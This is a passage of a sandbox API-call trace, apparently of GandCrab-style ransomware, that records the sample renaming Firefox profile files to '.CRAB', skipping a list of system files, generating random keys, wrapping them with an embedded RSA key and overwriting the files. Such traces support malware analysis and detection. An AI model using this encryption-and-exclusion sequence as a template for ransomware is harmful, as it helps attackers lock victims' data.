	[0122.853] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\search.json.mozlz4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\search.json.mozlz4.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0122.853] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0122.853] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0122.854] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x62cf, lpOverlapped=0x0) returned 1
	[0122.882] VirtualAlloc (lpAddress=0x0, dwSize=0x62d0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0122.883] VirtualAlloc (lpAddress=0x0, dwSize=0x62d0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0122.884] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.884] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xffff9d31, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.884] WriteFile (in: hFile=0x3e0, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x62d0, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3149f14*=0x62d0, lpOverlapped=0x0) returned 1
	[0122.884] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.885] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.888] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0122.888] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0122.888] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0122.888] CloseHandle (hObject=0x3e0) returned 1
	[0122.888] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.888] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.889] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.889] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.889] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.889] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.890] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0122.890] lstrcmpW (lpString1="secmod.db", lpString2=".") returned 1
	[0122.890] lstrcmpW (lpString1="secmod.db", lpString2="..") returned 1
	[0122.890] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="secmod.db" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db"
	[0122.890] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0122.890] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db") returned 89
	[0122.890] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db") returned 89
	[0122.890] lstrlenW (lpString=".db") returned 3
	[0122.890] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0122.891] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".db ") returned 4
	[0122.891] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.891] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db") returned 89
	[0122.891] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db") returned 89
	[0122.891] lstrcmpiW (lpString1="secmod.db", lpString2="desktop.ini") returned 1
	[0122.891] lstrcmpiW (lpString1="secmod.db", lpString2="autorun.inf") returned 1
	[0122.891] lstrcmpiW (lpString1="secmod.db", lpString2="ntuser.dat") returned 1
	[0122.891] lstrcmpiW (lpString1="secmod.db", lpString2="iconcache.db") returned 1
	[0122.891] lstrcmpiW (lpString1="secmod.db", lpString2="bootsect.bak") returned 1
	[0122.891] lstrcmpiW (lpString1="secmod.db", lpString2="boot.ini") returned 1
	[0122.891] lstrcmpiW (lpString1="secmod.db", lpString2="ntuser.dat.log") returned 1
	[0122.891] lstrcmpiW (lpString1="secmod.db", lpString2="thumbs.db") returned -1
	[0122.891] lstrcmpiW (lpString1="secmod.db", lpString2="CRAB-DECRYPT.txt") returned 1
	[0122.891] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0122.891] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db.CRAB") returned 94
	[0122.891] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\secmod.db")) returned 0x20
	[0122.892] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db", dwFileAttributes=0x20) returned 1
	[0122.892] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\secmod.db"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\secmod.db.crab")) returned 1
	[0122.893] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0122.893] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db.CRAB"
	[0122.893] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db.CRAB.CRAB"
	[0122.893] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6eb78) returned 1
	[0122.894] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0122.894] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0122.894] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0122.894] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0122.894] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0122.894] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.895] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e9e0) returned 1
	[0122.895] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0122.895] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0122.896] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0122.896] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0122.896] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0122.896] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.896] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0122.896] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0122.896] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0122.897] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x31650d8) returned 1
	[0122.897] CryptGetKeyParam (in: hKey=0x31650d8, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0122.897] CryptEncrypt (in: hKey=0x31650d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0122.897] GetLastError () returned 0x0
	[0122.897] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0122.897] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6ed98) returned 1
	[0122.898] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3165298) returned 1
	[0122.898] CryptGetKeyParam (in: hKey=0x3165298, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0122.898] CryptEncrypt (in: hKey=0x3165298, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0122.898] GetLastError () returned 0x0
	[0122.898] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0122.898] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\secmod.db.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0122.898] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0122.899] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0122.899] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x4000, lpOverlapped=0x0) returned 1
	[0122.916] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0122.916] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0122.917] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.917] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xffffc000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.917] WriteFile (in: hFile=0x3e0, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3149f14*=0x4000, lpOverlapped=0x0) returned 1
	[0122.917] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.918] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.921] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0122.922] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0122.922] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0122.922] CloseHandle (hObject=0x3e0) returned 1
	[0122.922] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.922] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.923] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.923] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.923] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.923] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.924] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0122.924] lstrcmpW (lpString1="SecurityPreloadState.txt", lpString2=".") returned 1
	[0122.924] lstrcmpW (lpString1="SecurityPreloadState.txt", lpString2="..") returned 1
	[0122.924] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="SecurityPreloadState.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SecurityPreloadState.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SecurityPreloadState.txt"
	[0122.924] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0122.924] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SecurityPreloadState.txt") returned 104
	[0122.924] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SecurityPreloadState.txt") returned 104
	[0122.924] lstrlenW (lpString=".txt") returned 4
	[0122.924] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0122.924] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0122.925] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.925] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.925] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0122.925] lstrcmpW (lpString1="sessionCheckpoints.json", lpString2=".") returned 1
	[0122.925] lstrcmpW (lpString1="sessionCheckpoints.json", lpString2="..") returned 1
	[0122.925] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="sessionCheckpoints.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json"
	[0122.925] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0122.925] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json") returned 103
	[0122.925] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json") returned 103
	[0122.925] lstrlenW (lpString=".json") returned 5
	[0122.926] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0122.926] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".json ") returned 6
	[0122.926] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.926] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json") returned 103
	[0122.926] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json") returned 103
	[0122.926] lstrcmpiW (lpString1="sessionCheckpoints.json", lpString2="desktop.ini") returned 1
	[0122.926] lstrcmpiW (lpString1="sessionCheckpoints.json", lpString2="autorun.inf") returned 1
	[0122.926] lstrcmpiW (lpString1="sessionCheckpoints.json", lpString2="ntuser.dat") returned 1
	[0122.926] lstrcmpiW (lpString1="sessionCheckpoints.json", lpString2="iconcache.db") returned 1
	[0122.926] lstrcmpiW (lpString1="sessionCheckpoints.json", lpString2="bootsect.bak") returned 1
	[0122.926] lstrcmpiW (lpString1="sessionCheckpoints.json", lpString2="boot.ini") returned 1
	[0122.926] lstrcmpiW (lpString1="sessionCheckpoints.json", lpString2="ntuser.dat.log") returned 1
	[0122.926] lstrcmpiW (lpString1="sessionCheckpoints.json", lpString2="thumbs.db") returned -1
	[0122.926] lstrcmpiW (lpString1="sessionCheckpoints.json", lpString2="CRAB-DECRYPT.txt") returned 1
	[0122.926] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0122.927] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json.CRAB") returned 108
	[0122.927] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessioncheckpoints.json")) returned 0x20
	[0122.927] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json", dwFileAttributes=0x20) returned 1
	[0122.928] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessioncheckpoints.json"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessioncheckpoints.json.crab")) returned 1
	[0122.928] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0122.929] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json.CRAB"
	[0122.929] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json.CRAB.CRAB"
	[0122.929] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0122.929] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0122.930] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0122.930] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0122.930] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0122.930] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0122.930] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.930] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0122.930] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0122.931] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0122.931] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0122.931] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0122.931] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0122.931] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.931] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0122.932] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0122.932] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0122.932] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3165558) returned 1
	[0122.932] CryptGetKeyParam (in: hKey=0x3165558, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0122.932] CryptEncrypt (in: hKey=0x3165558, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0122.933] GetLastError () returned 0x0
	[0122.933] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0122.933] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6eb78) returned 1
	[0122.933] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3165818) returned 1
	[0122.933] CryptGetKeyParam (in: hKey=0x3165818, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0122.933] CryptEncrypt (in: hKey=0x3165818, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0122.934] GetLastError () returned 0x0
	[0122.934] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
